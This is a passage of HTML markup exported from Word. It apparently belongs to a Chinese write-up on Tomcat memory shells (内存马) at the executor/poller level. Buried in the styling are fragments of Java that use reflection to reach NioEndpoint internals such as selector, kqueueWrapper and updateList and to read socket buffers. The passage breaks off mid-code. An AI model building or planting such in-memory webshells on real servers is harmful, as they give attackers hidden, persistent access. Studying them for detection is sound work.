style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">target </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">instanceof</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Runnable</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                            </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">byte</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> bytes </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">byte</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">8192</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">];</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//Tomcat的NioSocketWrapper中默认buffer大小</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ByteBuffer</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> buf </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ByteBuffer</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">wrap</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">bytes</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">LinkedList</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> linkedList </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">LinkedList</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getField</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getField</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getField</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">target</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;selector&#34;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">),</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;kqueueWrapper&#34;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">),</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;updateList&#34;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                    </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">for</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> obj </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">:</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> linkedList</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                        </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span 